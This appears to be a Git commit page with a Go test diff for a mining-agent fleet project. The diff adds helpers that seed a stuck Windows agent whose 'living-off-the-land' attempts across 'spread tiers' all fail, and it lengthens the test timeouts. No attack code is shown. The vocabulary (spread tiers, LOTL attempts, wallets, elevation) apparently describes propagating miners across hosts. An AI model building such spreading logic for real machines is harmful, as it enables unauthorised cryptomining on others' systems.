Close test-gap noise rows and sync coverage documentation.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Restore P1/P2/fleet/erasure COVERED rows in PROBLEMS.md with refreshed counts; drop fixed poll-duplication and Vitest-noise items. Silence ECONNREFUSED stderr in Vitest setup, alias download mock exports, and expand erasure/Path Tracer test coverage.
This commit is contained in:
@@ -55,6 +55,32 @@ func newFleetIntelligenceHub(t *testing.T, aiCfg FleetAIConfigView) (*WSHub, *db
|
||||
return hub, database, sched
|
||||
}
|
||||
|
||||
func seedStuckAgentDB(t *testing.T, database *db.Database, agentID string) {
|
||||
t.Helper()
|
||||
attempts := make([]struct {
|
||||
Tier string `json:"tier"`
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
DurationMs int64 `json:"duration_ms"`
|
||||
Wallet string `json:"wallet,omitempty"`
|
||||
}, 0, len(fleetai.DefaultSpreadTiers()))
|
||||
for _, tier := range fleetai.DefaultSpreadTiers() {
|
||||
attempts = append(attempts, struct {
|
||||
Tier string `json:"tier"`
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
DurationMs int64 `json:"duration_ms"`
|
||||
Wallet string `json:"wallet,omitempty"`
|
||||
}{Tier: tier, OK: false, Error: "blocked"})
|
||||
}
|
||||
if err := database.UpsertAgent(&models.Agent{
|
||||
ID: agentID, Name: "stuck-host", Platform: "windows", Status: "online",
|
||||
ChainExhausted: true, LOTLAttempts: attempts,
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func pushStuckAgentTelemetry(t *testing.T, conn *websocket.Conn) {
|
||||
t.Helper()
|
||||
attempts := make([]map[string]interface{}, 0, len(fleetai.DefaultSpreadTiers()))
|
||||
@@ -87,17 +113,39 @@ func pushStuckAgentTelemetry(t *testing.T, conn *websocket.Conn) {
|
||||
|
||||
func waitForCourtSnapshot(t *testing.T, hub *WSHub, agentID string) fleetai.AgentSnapshot {
|
||||
t.Helper()
|
||||
deadline := time.Now().Add(2 * time.Second)
|
||||
deadline := time.Now().Add(8 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
if snap, ok := hub.FleetAISnapshot(agentID); ok && fleetai.ShouldUseCourt(snap) {
|
||||
return snap
|
||||
}
|
||||
time.Sleep(25 * time.Millisecond)
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
}
|
||||
t.Fatal("agent snapshot never reached stuck/court state")
|
||||
return fleetai.AgentSnapshot{}
|
||||
}
|
||||
|
||||
func waitForAgentTelemetry(t *testing.T, hub *WSHub, agentID string, keys ...string) {
|
||||
t.Helper()
|
||||
deadline := time.Now().Add(4 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
hub.mu.RLock()
|
||||
tel, ok := hub.agentLiveTelemetry[agentID]
|
||||
missing := false
|
||||
for _, key := range keys {
|
||||
if !ok || tel[key] == nil {
|
||||
missing = true
|
||||
break
|
||||
}
|
||||
}
|
||||
hub.mu.RUnlock()
|
||||
if !missing {
|
||||
return
|
||||
}
|
||||
time.Sleep(25 * time.Millisecond)
|
||||
}
|
||||
t.Fatalf("telemetry keys %v never cached for %s", keys, agentID)
|
||||
}
|
||||
|
||||
func connectIntelAgent(t *testing.T, hub *WSHub, agentID string, auth map[string]interface{}) *websocket.Conn {
|
||||
t.Helper()
|
||||
srv := httptest.NewServer(http.HandlerFunc(hub.HandleAgentWS))
|
||||
@@ -170,6 +218,8 @@ func TestIntegrationCourtStuckFlow(t *testing.T) {
|
||||
"agent_id": agentID, "hostname": "stuck-host", "platform": "windows", "version": "1.0",
|
||||
})
|
||||
pushStuckAgentTelemetry(t, conn)
|
||||
seedStuckAgentDB(t, database, agentID)
|
||||
waitForAgentTelemetry(t, hub, agentID, "stuck", "lotl_attempts")
|
||||
if snap := waitForCourtSnapshot(t, hub, agentID); snap.FailedTierCount < 14 {
|
||||
t.Fatalf("expected 14 failed spread tiers for L4 elevation, got %d", snap.FailedTierCount)
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user